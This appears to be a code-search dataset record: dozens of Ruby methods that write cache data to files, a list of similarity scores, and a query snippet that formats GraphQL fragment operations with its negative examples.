"def save_cached_data\n # open file for writing\n @file_handle = File.open(file_path, 'w')\n \n # write data string into file\n @file_handle << (@file_data_to_write.respond_to?(:read) ? @file_data_to_write.read : @file_data_to_write)\n \n # close file\n close_file\n \n end",
"def save_cached_data\n # open file for writing\n @file_handle = File.open(file_path, 'w')\n \n # write data string into file\n @file_handle << (@file_data_to_write.respond_to?(:read) ? @file_data_to_write.read : @file_data_to_write)\n \n # close file\n close_file\n \n end",
"def write_disk_cache\n\t\t\t\tif File.exists?(\"#{$cache_path}/#{@host}_disks.yaml\")\n\t\t\t\t\t\t$log.info \"Doing backup of cachefile to #{@host}_disks.yaml\"\n\t\t\t\t\t\tFileUtils.mv(\"#{$cache_path}/#{@host}_disks.yaml\",\"#{$cache_path}/#{@host}_disks_backup.yaml\")\n\t\t\t\t\t\t@olddisks = YAML::load(File.read(\"#{$cache_path}/#{@host}_disks_backup.yaml\"))\n\t\t\t\tend\n\t\t\t\tFile.open( \"#{$cache_path}/#{@host}_disks.yaml\", 'w' ) do |out|\n\t\t\t\t\t\tYAML.dump(@disks,out)\n\t\t\t\tend\n\t\t\t\t$log.info \"Disk cache written for #{@host}\"\n\t\tend",
"def write_cache_file key, content\n f = File.open( cache_file(key), \"w+\" )\n f.flock(File::LOCK_EX)\n f.write( content )\n f.close\n return content\n end",
"def writable_file\n @cache_file\n end",
"def write_cache(url, data, json: true)\n filename = cache_filename(url, json)\n logger.debug(\"Writing cache #{filename}\")\n FileUtils.mkdir_p(File.dirname(filename))\n if json\n IO.write(filename, JSON.dump(data))\n else\n IO.binwrite(filename, data)\n end\n end",
"def save_cache\n clean_cache_collection @cache[:ancestors]\n clean_cache_collection @cache[:attributes]\n clean_cache_collection @cache[:class_methods]\n clean_cache_collection @cache[:instance_methods]\n\n @cache[:modules].uniq!\n @cache[:modules].sort!\n\n @cache[:pages].uniq!\n @cache[:pages].sort!\n\n @cache[:encoding] = @encoding # this gets set twice due to assert_cache\n\n @cache[:c_class_variables].merge! @c_class_variables\n @cache[:c_singleton_class_variables].merge! @c_singleton_class_variables\n\n return if @dry_run\n\n File.open cache_path, 'wb' do |io|\n Marshal.dump @cache, io\n end\n end",
"def save_cache\n open(Settings[:cache_file], 'w').write @list.to_yaml\n end",
"def update_cache\n Rails.logger.debug \"Updating cache for... #{@@cache_file}\"\n fp = File.new(@@cache_file, 'w')\n if fp\n # acquire an exclusive lock (writer)\n if fp.flock(File::LOCK_EX)\n content = open(@@file_path).read\n \n if content\n #logger.debug \"Generate cache file: #{@@cache_file}\"\n fp.write(content) # writes to the file\n end\n \n fp.flock(File::LOCK_UN) # release a lock\n end\n fp.close\n end\n end",
"def flush_cache(cache)\n File.open(@data_file, 'w') do |out|\n YAML.dump(cache, out)\n end\n end",
"def write_cache(resource, content)\n expanded_path = cache_path_for(resource)\n return false unless expanded_path\n FileUtils.mkdir_p(File.dirname(expanded_path))\n @logger.info(self.class) { \"Caching #{content.length} B for #{resource}\" }\n File.write(expanded_path, content)\n end",
"def save_cache!(config_file = File.expand_path(Assh::CONFIG_CACHE),\n timestamp_file = File.expand_path(Assh::CONFIG_CACHE_AT))\n cache = {\n hosts: @hosts,\n groups: @groups\n }\n File.open(config_file, 'w') { |f| f << cache.to_yaml }\n File.open(timestamp_file, 'w') { |f| f << current_time }\n\n end",
"def cache_write(cache_file, data)\n File.open(cache_file, \"w+\") do |cache_data|\n cache_data.flock(File::LOCK_EX)\n cache_data.write(data)\n cache_data.flock(File::LOCK_UN)\n end\n true\n end",
"def store_cache\n if options.key? :cache_results\n json = @results_cache.to_json\n outf = File.open(\"/tmp/%s_%s_snmp_results.json\" % [options[:model], options[:host]], \"w\")\n outf.write(json)\n outf.close\n end\n end",
"def flush\n File.open(\"data/#{Time.now.to_i.to_s}\",'w') { |f| Marshal.dump(@cache, f) }\n File.open(\"data2/#{Time.now.to_i.to_s}\",'w') { |f| Marshal.dump(@cache, f) }\n puts \"=\"\n end",
"def save_tracker_cache\n # These values should only be written if the audit has been successful!!\n # Best to write it back to a new file - then move the new file to the\n # original location (overwriting the original)\n return if @parent.ret_val == 3\n tracker_file = get_tracker_filename\n File.open(tracker_file + \".temp\", 'w') { |f|\n # First, save the initial timestamp and the current SOA serial\n f.puts(@initial_timestamp.to_s)\n f.puts(@last_soa_serial.to_s)\n # Now save the cache!!\n Status.strings.each {|s|\n status = s.downcase\n eval \"@cache.#{status}.each {|key, time|\n write_key_to_file(f, key.to_s, status, time[0], time[1])\n }\".untaint\n }\n\n }\n # Now move the .temp file over the original\n File.delete(tracker_file)\n File.rename(tracker_file+\".temp\", tracker_file)\n end",
"def write(key, content)\n temp_file = File.join(root, ['tmp', $$, Thread.current.unique_id].join('-'))\n File.open(temp_file, 'wb') do |dest|\n if content.respond_to? :to_str\n dest.write(content.to_str)\n else\n content.each {|s| dest.write(s) }\n end\n end\n\n path = cache_path(key)\n if File.exist?(path)\n File.unlink temp_file\n else\n FileUtils.mkdir_p File.dirname(path), :mode => 0755\n FileUtils.mv temp_file, path\n end\n true\n rescue\n File.unlink temp_file rescue false\n false\n end",
"def cache_xml\n write_xml = to_xml\n file = File.new \"#{cache_file_path}.xml\", 'w'\n file.puts write_xml\n file.close\n write_xml\n end",
"def write\n return if PictureTag.site.config['disable_disk_cache']\n\n FileUtils.mkdir_p(File.join(base_directory, sub_directory))\n\n File.open(filename, 'w+') do |f|\n f.write JSON.generate(data)\n end\n end",
"def cache(uri, obj)\n filename=cacheFileName(uri)\n print(\"Creating #{filename}\\n\")\n File.open(filename, 'w') {|f| f.write(obj) }\nend",
"def write(request, response)\n key = cache_key_for(request)\n value = @serializer.dump(response.serializable_hash)\n @cache.write(key, value)\n end",
"def write\n hash = attributes_hash\n write_value(serializer_class.dump(hash))\n @_cache = hash # set @_cache after the write\n end",
"def write(data)\n File.open(@filename, mode(\"w\")) do |f|\n f.flock File::LOCK_EX\n f << export(data)\n end\n end",
"def save\n Chef::FileCache.store(\"remote_file/#{sanitized_cache_file_basename}\", json_data)\n end",
"def flush\n write_cache if @dirty\n @dirty = false\n end",
"def save(key, maybe_param, blob, etag)\n $logger.debug(\"Cache write: #{key},#{maybe_param}\")\n filename = args_to_filename(key, maybe_param)\n FileUtils.mkdir_p(File.dirname(filename))\n IO::write(filename, blob)\n IO::write(\"#{filename}.etag\", etag)\n end",
"def write_all\n if cached_write?\n then write_cached_assets else write_assets\n end\n end",
"def save_cache\n Dir.mkdir(CACHE_DIR) unless File.exists?(CACHE_DIR)\n all_yoga_classes_with_integer_times = deep_copy(@all_yoga_classes)\n all_yoga_classes_with_integer_times.each do |k,v|\n all_yoga_classes_with_integer_times[k]['start_date'] = v['start_date'].to_i\n all_yoga_classes_with_integer_times[k]['end_date'] = v['end_date'].to_i\n end\n File.open(@cache_file,\"w\"){ |f| f << all_yoga_classes_with_integer_times.to_json }\n end",
"def write_to_file(text)\n open(file_path, 'w') do |f|\n f.write(text)\n end\n file_update\n rescue Errno::ENOENT\n raise InvalidCache\n end",
"def cache(gist, file, data)\n cache_file = get_cache_file_for gist, file\n File.open(cache_file, \"w\") do |io|\n io.write data\n end\n end",
"def write(obj, archive_name)\n filename = \"#{archive_name}-#{obj.class.name}\"\n File.open(File.join(@cache_dir, filename), \"w\") do |out|\n Marshal.dump(obj, out)\n end\n end",
"def store_cachefile(cache_filename, template)\n s = template.script\n s = \"\\#@ARGS #{template.args.join(',')}\\n#{s}\" if template.args\n tmp_filename = \"#{cache_filename}.#{rand()}\"\n File.open(tmp_filename, 'w') {|f| f.write(s) }\n File.rename(tmp_filename, cache_filename)\n end",
"def save!; File.write @path, @data end",
"def save_page(p)\n if p.record.page_entries != p.values.length\n raise RuntimeError, \"page_entries mismatch for node #{p.uid}\"\n end\n begin\n @f.seek(p.uid * @page_size * 8)\n @f.write(p.values.pack('Q*'))\n rescue IOError => e\n PEROBS.log.fatal \"Cannot write cache file #{@file_name}: #{e.message}\"\n end\n end",
"def write\n return false unless set_lock\n file_name = generate_filename\n \n File.open file_name, 'w' do |file|\n file.write Marshal.dump(@documents)\n end\n\n @documents = []\n release_lock\n end",
"def cache_at_client(filename,s)\n s.puts(\"CACHE:\\n\")\n s.puts(filename)\n s.puts(\"\\n\")\n data = s.read\n\tdest_file = File.open(filename, 'wb')\n\tdest_file.print(data)\n\tdest_file.close\nend",
"def cache_write(value, key: cache_key, **)\n Rails.cache.write(key, value, namespace: namespace) if validate_key(key)\n end",
"def create_cache_files\n @cache_path_names = {}\n each_file_set(:create_cache_file)\n write_cache_path_file\n end",
"def write\n\t\tfile = File.new(@lock_file, \"w\")\n\t\tyield(file)\n\t\tfile.close\n\tend",
"def write\n buffer = create_zip(@entries, @ignore_entries)\n\n puts \"\\nwrite file #{@output_file}\"\n File.open(@output_file, \"wb\") {|f| f.write buffer.string }\n end",
"def save(data=cached_data)\n lock do\n File.safe_write(path, JSON.pretty_generate(data))\n end\n end",
"def cache(content, revision_number)\n File.open(self.cache_file_name(revision_number), \"wb\") { |f| f.write(content) }\n print(\"[MODEL_FILE] Wrote #{self.cache_file_name(revision_number)} to cache\")\n end",
"def write_to(destination)\n FileUtils.mkdir_p destination.parent\n\n destination.open(File::CREAT | File::APPEND | File::WRONLY) do |f|\n f.write \"networkaddress.cache.ttl=#{@networkaddress_cache_ttl}\\n\" if @networkaddress_cache_ttl\n\n if @networkaddress_cache_negative_ttl\n f.write \"networkaddress.cache.negative.ttl=#{networkaddress_cache_negative_ttl}\\n\"\n end\n end\n end",
"def write_to_file_cache(file, payload)\n puts \"direct access, storing in #{file}\"\n File.open( file, 'w' ) do |out|\n Marshal.dump(payload, out)\n end\n payload\n end",
"def save_seed\n File.open(cache_file, 'w') do |file|\n file.puts MultiJson.dump(@seed)\n end\n true\n end",
"def save\n MiGA.DEBUG \"Metadata.save #{path}\"\n self[:updated] = Time.now.to_s\n json = JSON.pretty_generate(data)\n sleeper = 0.0\n while File.exist?(lock_file)\n sleeper += 0.1 if sleeper <= 10.0\n sleep(sleeper.to_i)\n end\n FileUtils.touch lock_file\n ofh = File.open(\"#{path}.tmp\", \"w\")\n ofh.puts json\n ofh.close\n raise \"Lock-racing detected for #{path}.\" unless\n File.exist?(\"#{path}.tmp\") and File.exist?(lock_file)\n File.rename(\"#{path}.tmp\", path)\n File.unlink(lock_file)\n end",
"def write_file_after_save(file_data_to_write=nil)\n # check if there are data to write\n return unless(@file_data_to_write)\n \n begin\n self.class.benchmark(\"\\033[36m\\033[1m\\033[4mFileStore\\033[0m Saving file for #{self.id}\") do\n # create data directory path\n FileUtils.mkdir_p(data_directory)\n \n if(@file_data_to_write.is_a?(DataPath))\n copy_data_file\n else\n save_cached_data\n end\n \n @file_data_to_write = nil\n end\n rescue Exception => e\n assit_fail(\"Exception on writing file #{self.location}: #{e}\")\n end\n\n end",
"def write(key, value, opts = {})\n _key = Digest::SHA1.hexdigest key\n ttl = opts[:ttl] || @default_ttl\n \n # We don't want to cache errors\n return if value.is_a?(Faraday::Response) && !value.success?\n\n if (value.is_a?(Faraday::Response) && !value.headers['expires'].nil?)\n resp_ttl = DateTime.parse(value.headers['expires']).to_time.to_i - Time.now.to_i\n ttl = resp_ttl if resp_ttl > 0\n end\n\n _value = Marshal.dump value\n\n @memory_store[_key] = value\n $LOG.debug \"Writing to JDG cache hashed #{_key} for #{key}\"\n @conn.put do |req|\n req.url \"/rest/jbossdeveloper/#{@profile}_#{_key}\"\n req.headers['Content-Type'] = opts[:content_type] || 'application/ruby+object'\n req.headers['timeToLiveSeconds'] = ttl.to_s # need to see if we're actually a request and full from that\n req.body = _value\n end\n end",
"def save\n render unless result\n if File.exist?(output)\n mode = File.stat(output).mode\n File.chmod(mode | 0000220, output)\n File.open(output, 'w'){ |f| f << result }\n File.chmod(mode, output)\n else\n File.open(output, 'w'){ |f| f << result }\n File.chmod(0440, output) # change to read-only mode\n end\n end",
"def save\n save_to_file(@output_file, @contents)\n end",
"def save_output(data)\n ::File.open(datastore['OUTFILE'], 'wb') do |f|\n f.write(data)\n print_status(\"Saved results in #{datastore['OUTFILE']}\")\n end\n end",
"def save_output(data)\n ::File.open(datastore['OUTFILE'], 'wb') do |f|\n f.write(data)\n print_status(\"Saved results in #{datastore['OUTFILE']}\")\n end\n end",
"def save\n load_cache\n\n all_classes_and_modules.each do |klass|\n save_class klass\n\n klass.each_method do |method|\n save_method klass, method\n end\n\n klass.each_attribute do |attribute|\n save_method klass, attribute\n end\n end\n\n all_files.each do |file|\n save_page file\n end\n\n save_cache\n end",
"def write(document)\n if key?(document.key) && get(document.key) != document\n fail Atlas::DuplicateKeyError.new(document.key)\n end\n\n path = document.path\n\n content = Atlas::HashToTextParser.new(\n serializable_attributes(document)\n ).to_text\n\n # Ensure the directory exists.\n FileUtils.mkdir_p(path.dirname)\n\n @all.push(document) unless path.file?\n\n path.open('w') do |file|\n file.write(content)\n file.write(\"\\n\") unless content[-1] == \"\\n\"\n end\n\n lookup_map[document.key] = path\n @documents[document.key] = document\n\n true\n end",
"def write\n\n # output to disk\n File.open(@outfile, 'w:UTF-8') { |file|\n file.write(@buffer)\n }\n end",
"def write_if_empty\n return if cached_content.present?\n\n @diff_collection.diff_files.each do |diff_file|\n next unless cacheable?(diff_file)\n\n diff_file_id = diff_file.file_identifier\n\n cached_content[diff_file_id] = diff_file.highlighted_diff_lines.map(&:to_hash)\n end\n\n cache.write(key, cached_content, expires_in: 1.week)\n end",
"def save!\n filepath.dirname.mkpath\n filepath.open( \"w\" ) do |f|\n f << YAML.dump( @entries )\n end\n clear_modified\n true\n end",
"def write(file)\n @file_written = file\n file = Pathname.new(file)\n file.dirname.mkpath\n file.open \"w+\" do |output|\n output << self.build!\n end\n self\n end",
"def write(path)\n # TODO: should start locking write process\n Writer.new(self, path).write\n end",
"def []=(key, content)\n temp_file = File.join(root, ['tmp', $$, Thread.current.object_id].join('-'))\n File.open(temp_file, 'wb') do |dest|\n if content.respond_to? :to_str\n dest.write(content.to_str)\n else\n content.each {|s| dest.write(s) }\n end\n end\n\n path = cache_path(key)\n File.unlink path if File.exist?(path)\n FileUtils.mkdir_p File.dirname(path), :mode => 0755\n FileUtils.mv temp_file, path\n rescue\n File.unlink temp_file rescue nil\n ensure\n content\n end",
"def write(cache_key, env, response)\n payload = Payload.from_response(response).tap do\n _1.comment = \"#{env.method.upcase} #{env.url}\"\n end\n cache.write(cache_key, payload)\n end",
"def write\n io_or_file = filename || self.class.default_filename\n return io_or_file.write(fetch) if io_or_file.respond_to?(:write)\n open(io_or_file, \"wb+\") { |io| io.write(fetch) }\n end",
"def put(key = '', data = '')\n if key != '' && data != ''\n puts \"Writing into cache with key: #{key}\" if ENV['DEBUG']\n return ::File.write(@cache_dir+key, data)\n end\n\n return false\n end",
"def write(key, value)\n @cache[key] = value\n end",
"def cache\n persist('memory_only_ser')\n end",
"def write\n write_data\n end",
"def write path\n File.open(path, 'w') do |io|\n io.print serialize\n end\n end",
"def escribe_cache\n Rails.cache.write(\"cache_service_#{id}\", true, :expires_in => 1.week)\n end",
"def write_safe\n encrypted_data = Format.write(\n @data,\n password: @password,\n format: @options[:out],\n iterations: @options[:iterations],\n )\n File.open(@filename, 'wb'){ |f| f.write(encrypted_data) }\n update_abbrevs!\n end",
"def write_out\n File.delete(@path) if File.exist?(@path)\n File.open(@path, mode: 'w', encoding: @img_data.encoding) { |f| f.write(@img_data) }\n end",
"def write(contents = {})\n File.open(file_path, 'w+') do |file|\n @metadata = contents\n @metadata.merge!('downloaded_at' => Time.now.utc.iso8601)\n\n file.write(metadata.to_json)\n end\n end",
"def save # :nodoc:\n if @file\n File.open(SAVE_FILE, 'w') do |f|\n Marshal.dump(file, f)\n end\n else\n forget\n end\n end",
"def save # :nodoc:\n if @file\n File.open(SAVE_FILE, 'w') do |f|\n Marshal.dump(file, f)\n end\n else\n forget\n end\n end",
"def write\n FileUtils.mkdir_p File.dirname(destination_path)\n File.open(destination_path, 'w') { |f| f.write(sitemap_content) }\n end",
"def save_to_file\n f = File.open(\"#{IMAGE_DATA_DIR}/#{self.id}\",\"w\")\n f.write(self.data)\n f.close\n end",
"def save\n File.open(@path, \"w\") do |file|\n Psych.dump({version: VERSION}, file)\n doc = {}\n @stats.each_pair do |article_path, article_stat|\n doc[article_path] = {\n stat: article_stat,\n related: @related[article_path] || [],\n }\n end\n Psych.dump(doc, file)\n end\n end",
"def set(key, value)\n path = File.join(@root, \"#{key}.cache\")\n\n # Ensure directory exists\n FileUtils.mkdir_p File.dirname(path)\n\n # Check if cache exists before writing\n exists = File.exist?(path)\n\n # Serialize value\n marshaled = Marshal.dump(value)\n\n # Compress if larger than 4KB\n if marshaled.bytesize > 4 * 1024\n deflater = Zlib::Deflate.new(\n Zlib::BEST_COMPRESSION,\n Zlib::MAX_WBITS,\n Zlib::MAX_MEM_LEVEL,\n Zlib::DEFAULT_STRATEGY\n )\n deflater << marshaled\n raw = deflater.finish\n else\n raw = marshaled\n end\n\n # Write data\n PathUtils.atomic_write(path) do |f|\n f.write(raw)\n @size = size + f.size unless exists\n end\n\n # GC if necessary\n gc! if size > @max_size\n\n value\n end",
"def writenc(path, file)\n bucket\n @@mutex.synchronize do\n path = find_available_name(path)\n bucket.objects[path].write(:file => file, :acl => :public_read)\n end\n path\n end",
"def write(key, value)\n key.freeze if key.is_a? String\n\n @memory_store[key] = value\n @file_store.transaction do\n @file_store[key] = value\n end\n end",
"def write_to_folder\n File.open(prepare_file_path_to_download, 'w') do |file|\n file.write(response[:content])\n end\n end",
"def export path\n File.write path, to_zonefile\n end",
"def save\n pathname.open('w') { |file| file.write(data) }\n end",
"def cache_write(key, data)\n @mutex.synchronize do\n @cache[key] = data\n end\n end",
"def save\n return if File.exists?(file)\n\n # Create parent directories\n FileUtils.mkdir_p(File.dirname(file))\n\n File.open(file, \"w\") do |f|\n f.write(compressed_contents)\n end\n\n puts \"Wrote blob #{file}\"\n end",
"def flush_cache; end",
"def write\n open(@fname,\"wb\") do |file|\n Marshal.dump(@data,file)\n end\n end",
"def save_cidrs_to_file!(file_cidrs=@cidr_seeds)\n\t\tputs \"Saving the current cidrs cache table from memory to file: #{file_cidrs} ...\" if @verbose\n\t\ttimestamp=Time.now\n\t\tf=File.open(file_cidrs, 'w')\n\t\tf.write \"# Local cidrs file created by Wmap::CidrTracker.save method at: #{timestamp}\\n\"\n\t\tf.write \"Network CIDR, CIDR RIPE Reference Text, CIDR NETNAME\\n\"\n\t\t@known_cidr_blks_asce_index.map do |key|\n\t\t\tref=get_cidr_ref(key)\n\t\t\tnetname=get_cidr_netname(key)\n\t\t\tf.write \"#{key},#{ref},#{netname}\\n\"\n\t\tend\n\t\tf.close\n\t\tputs \"CIDR cache table is successfully saved: #{file_cidrs}\"\n\t#rescue => ee\n\t#\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\tend",
"def save_index\n @index.compute_digest(@data_file)\n @index.to_disk(@index_file)\n end",
"def write()\n f = File.open(\"#{@directory}/#{@filename}\", \"w\")\n f.write(@raw)\n f.close()\n end"
] |
[
"0.84125865",
"0.8215292",
"0.81883854",
"0.8075977",
"0.8073828",
"0.79505724",
"0.7723713",
"0.77076095",
"0.76915324",
"0.7678307",
"0.74382246",
"0.74256533",
"0.74256533",
"0.7341669",
"0.72908884",
"0.7206609",
"0.70832866",
"0.70690906",
"0.7047646",
"0.70200586",
"0.69924307",
"0.69796616",
"0.6790372",
"0.67867315",
"0.67691374",
"0.67672926",
"0.6708361",
"0.66988283",
"0.66510355",
"0.6641425",
"0.65862864",
"0.6527749",
"0.6514466",
"0.6483638",
"0.6479872",
"0.6475818",
"0.6437704",
"0.642488",
"0.6380509",
"0.6349264",
"0.6268533",
"0.62596184",
"0.62562",
"0.6255561",
"0.6252667",
"0.6226246",
"0.6213796",
"0.6210424",
"0.6209042",
"0.61959684",
"0.6195621",
"0.6191813",
"0.6184021",
"0.61490124",
"0.6147173",
"0.61394316",
"0.6130928",
"0.6080498",
"0.6080057",
"0.60770386",
"0.60635257",
"0.60456425",
"0.60456425",
"0.6041902",
"0.6035437",
"0.59693545",
"0.5957744",
"0.59557706",
"0.5955453",
"0.59200865",
"0.59131193",
"0.5909773",
"0.59091544",
"0.59043586",
"0.589973",
"0.5898035",
"0.58971477",
"0.58732504",
"0.5861539",
"0.58576095",
"0.585607",
"0.58502764",
"0.58496064",
"0.58496064",
"0.5843317",
"0.58418256",
"0.5837585",
"0.5836623",
"0.5835846",
"0.58316433",
"0.5828486",
"0.58253574",
"0.5823534",
"0.5822783",
"0.5807223",
"0.5793929",
"0.5780999",
"0.57789445",
"0.5775878",
"0.5775787"
] |
0.6519086
|
32
|
Format fragment operation as string
|
def format_fragment_operation(fragment_operation, level)
result = []
result << indent(level) + format_fragment_operation_signature(fragment_operation)
result << "#{indent(level)}{"
result += fragment_operation.__nodes.map { |node| format_node(node, level + 1) }
result << "#{indent(level)}}"
result.join("\n")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def format_fragment_operation_signature(fragment_operator)\n [\n \"fragment #{fragment_operator.__name}\",\n \"on #{fragment_operator.__type}\",\n format_directives(fragment_operator.__directives, false),\n ].compact.join(' ')\n end",
"def fragment(string); end",
"def string\n @fragments.join(\" \")\n end",
"def to_s\n str = \"%04d: %-27s\" % [@ip, opcode]\n str << @args.map{|a| a.inspect}.join(', ')\n if @comment\n str << \" # #{@comment}\"\n end\n\n return str\n end",
"def to_s\n \"(#{@op.to_s} #{@first.to_s} #{@second.to_s})\"\n end",
"def fragment(string, options = T.unsafe(nil), &block); end",
"def to_s\n text = \"#{keyword} #{base}\"\n text << \"\\n\" + block.to_s.split(\"\\n\").collect { |line| \" #{line}\" }.join(\"\\n\") if block\n\n text\n end",
"def format=(procedure); end",
"def to_s\n s = \"#@method \"\n s << \"-db '#@db' \" if @db\n s << \"-query #@qfile \" if @qfile\n s << @options.to_s if @options\n s\n end",
"def to_s\n str = \"\"\n\n str << \":#{@prefix} \" unless @prefix.empty?\n str << @command\n\n if @params\n f = false\n @params.each do |param|\n f = !f && (param.empty? || param[0] == ?: || param.include?(\" \"))\n str << \" \"\n str << \":\" if f\n str << param\n end\n end\n\n str << \"\\x0D\\x0A\"\n\n str\n end",
"def to_s\n \"#{tab_name} #{operation_string} #{tab_value}\"\n end",
"def to_s\n @source_string || format\n end",
"def to_s\n \"#<syntax:#{ @name }>\"\n end",
"def write(fragment); end",
"def to_text\n \"#{name}: #{call}\"\n end",
"def format(text); end",
"def to_s; \"<Operand: #{to_source}>\"; end",
"def c_build_format_string(mne, tokens, field_format)\n fmt_a = []\n\n tokens.each{|t|\n if (field_format.include?(t))\n fmt_a << field_format[t][0]\n else\n fmt_a << t\n end\n }\n\n fmt_s = mne\n\n if (!fmt_a.empty?)\n fmt_s += ' ' + fmt_a.join\n end\n\n return '\"' + fmt_s + '\"'\nend",
"def operation_to_message(op)\n case op\n when '1'\n '+'\n when '2'\n '-'\n when '3'\n '/'\n when '4'\n '*'\n end\nend",
"def format\n decorated_tokens.join\n end",
"def format_ops_hash(op_hash)\n ops_str = ''\n op_hash.each do |key, value|\n ops_str << \"op #{key} #{format_param_hash(value)} \"\n end\n ops_str.strip\n end",
"def operation_to_message(op)\n case op\n when '1'\n \"adding\"\n when '2'\n 'subtracting'\n when '3'\n 'multiplying'\n when '4'\n 'dividing'\n end\n end",
"def qformat\n #\"#{owner_name}#{access}#{@method_name} [#{visibility}]\" # Before multi-obj support.\n \"#{obj_module_name}#{access}#{@method_name} [#{visibility}]\"\n end",
"def format!; end",
"def to_s\n \"#{tag} #{[@from.source, @to].quoteize.compact.flatten * \" \"}\"\n end",
"def as_text\n @fragment.as_text\n end",
"def to_s()\n \"#{@location}-#{@op}@#{@time.iso8601(9)}\"\n end",
"def printFragments(source)\n\n @op.putFragmentBlock do \n source.eachFragment do |f|\n \n case f\n when Verbatim\n @op.putVerbatim(f.to_s)\n \n when Paragraph\n @op.putParagraph(f.to_s)\n end\n end\n end\n end",
"def to_s\n \"#{id}:#{query}\"\n end",
"def format(view_path = T.unsafe(nil)); end",
"def format_string(format, params = {})\n format % params\n end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def to_s\n segments.inject('') do |str,seg|\n str << (seg.is_a?(Symbol) ? \":#{seg}\" : seg)\n end\n end",
"def to_s\n template = indirect? ? \"[%s]\" : \"%s\"\n return template % expr_to_s\n end",
"def to_string(indentation)\n return super + \": '#{token.lexeme}'\"\n end",
"def to_s ; format ; end",
"def to_s\n return @to_s if @to_s\n parsed = parse_operation\n if parsed\n @to_s = \"#{model}/#{parsed}\"\n else\n @to_s = regex_name(sql)\n end\n end",
"def to_s\n identifier = \"#{fieldx}_#{value}\".downcase.gsub(/\\W/,'_')\n \"#{operator}#{identifier}\"\n end",
"def signature_base_string\n \"#{method.to_s.upcase}&#{full_uri}&#{normalise_signature_params}\"\n end",
"def to_s(formatting = :default)\n puts \"Called\"\n case formatting\n when :inline\n \"#{street}, #{piv(street_2, true)}#{piv(street_3, true)}#{city}, #{porsa}, #{zip}#{cif(true)}\"\n else\n \"#{street}\\n#{piv(street_2)}#{piv(street_3)}#{city}, #{porsa} #{zip}#{cif}\"\n end\n end",
"def digest\n \"%s([%s],{%s})\" % [\n rule_path,\n inputs.map{|i|\n i.kind_of?(Array) ? \"[%s, ...]\" % i[0].name : i.name\n }.join(\",\"),\n params.data.select{|k,_|\n not(k.toplevel?)\n }.map{|k,v| \"%s:%s\" % [k.name, v.textize]}.join(\",\")\n ]\n end",
"def to_s\n return super.to_s + \", #{@reference_action_def.to_s}\"\n end",
"def to_s\n \"#{@text}: #{@context}\"\n end",
"def params\n '(%s)' % @format\n end",
"def format!\n if block\n captured_value\n else\n to_s\n end\n end",
"def to_s\n coords1 = get_coords(length1, start1)\n coords2 = get_coords(length2, start2)\n\n text = [\"@@ -\", coords1, \" +\", coords2, \" @@\\n\"].join\n\n # Encode the body of the patch with %xx notation.\n text + diffs.map do |diff|\n [OPERATOR_TO_CHAR[diff.operation], URI.encode(diff.text, ENCODE_REGEX), \"\\n\"].join\n end.join.gsub(\"%20\", \" \")\n end",
"def to_source\n source = @op.to_s\n\n if @label\n if @mod\n case @mod.first\n when :+\n label = @label.to_s + ('%+d' % @mod[1])\n when :ls_byte\n label = '<' + @label.to_s\n when :ms_byte\n label = '>' + @label.to_s\n else\n label = @label.to_s + @mod.join\n end\n else\n label = @label.to_s\n end\n end\n\n unless @mode == :n || @mode == :e\n if @label\n source += ADDR_MODES[@mode][:src] % label\n else\n if @mode == :r\n source += ' *%+d' % @arg.to_s\n else\n source += ADDR_MODES[@mode][:src] % ('$' + @arg.to_s(16))\n end\n end\n end\n\n source\n end",
"def _format_method\n return @_format_method if @_format_method\n\n arguments_type = ::Hash\n @_has_parameters = false\n\n # RANT RANT RANT:\n # THIS CODE DOES NOT WORK.\n # there is a bug in the Ruby parser in some cases.\n # In this object:\n # instance_eval(\"t :foo\")\n # cannot parse :foo\n # However it works fine in irb and ruby -e.\n #\n # kurt@cashnetusa.com 2009/01/08\n=begin\n # Handle early subsititions.\n @_template = @template.gsub(/\\<\\{\\{(.*?)\\}\\}\\>/) do | m |\n expr = $1\n # expr = \"(#{expr}).to_s\"\n expr = \"\\n#{expr}\\n\"\n expr = \"begin#{expr}end\"\n #expr = \";nil; (#{expr});\"\n # expr = \"lambda { || #{expr}; }.call\"\n $stderr.puts \"expr = #{expr}\"\n #Contenter::Api::Selector.with(@_selector) do\n result = instance_eval(expr).to_s\n #end\n # $stderr.puts \"result = #{result.inspect}\"\n result\n end\n=end\n @_template ||= @template\n @_template = @template if @_template == @template\n @_template.freeze\n\n parameter_offset = -1\n p = @_template\n t = \"'\"\n until p.empty?\n case\n # Escape string delimiters.\n when m = /\\A([\\\\'])/.match(p)\n t << '\\\\' + m[1]\n\n # Parameter subsititutions.\n when m = /\\A(\\{\\{\\{(.*?)\\}\\}\\})/.match(p)\n t << '\\' << (' << m[2] << ').to_s << \\''\n @_has_parameters = true\n\n # \"early\" subsititutions.\n # SEE RANT ABOVE.\n when m = /\\A(\\<\\{\\{(.*?)\\}\\}\\>)/.match(p)\n t << '\\' << (' << m[2] << ').to_s << \\''\n @_has_parameters = true\n\n else\n t << p[0 .. 0]\n p = p[1 .. -1]\n \n end\n \n p = m.post_match if m\n end\n t << \"'\"\n\n # STDERR.puts \"template #{template.inspect} => #{t.inspect}\"\n\n # Decide on arguments defaults depending on the template substitutions.\n @arguments_default = \n case arguments_type\n when ::Array\n EMPTY_ARRAY\n when ::Hash\n EMPTY_HASH\n else\n EMPTY_HASH\n end\n @arguments = @arguments_default\n\n # $stderr.puts \"arguments = #{@arguments.inspect}\"\n # $stderr.puts \"arguments_default = #{@arguments_default.inspect}\"\n \n # Define a __format singleton method.\n # TODO: Not thread-safe.\n if @_has_parameters\n t = <<-\"END\"\n def self.__format(args)\n arguments_save = @arguments\n @arguments = args || @arguments_default\n #{t}\n ensure\n @arguments = arguments_save\n end\nEND\n else\n t = <<-\"END\"\n def self.__format(args)\n @_template\n end\nEND\n end\n\n # $stderr.puts \"@_format =\\n#{t}\"\n\n @_format_method = t.freeze\n\n rescue Exception => err\n new_err = err.class.new(\"#{err} in #{self.inspect}:\\n #{err.backtrace * \"\\n \"}\")\n raise new_err\n end",
"def format(fmt, *rest) end",
"def to_s\n \"(#{source}-#{target})\"\n end",
"def to_s\n \"executed `#{@command.to_s.ellipsisize}'\"\n end",
"def inspect\n sprintf(\"#<%s:%#0x(%s%s)>\", self.class.name, __id__, (\"id: #{id} \" if id), operands.inspect)\n end",
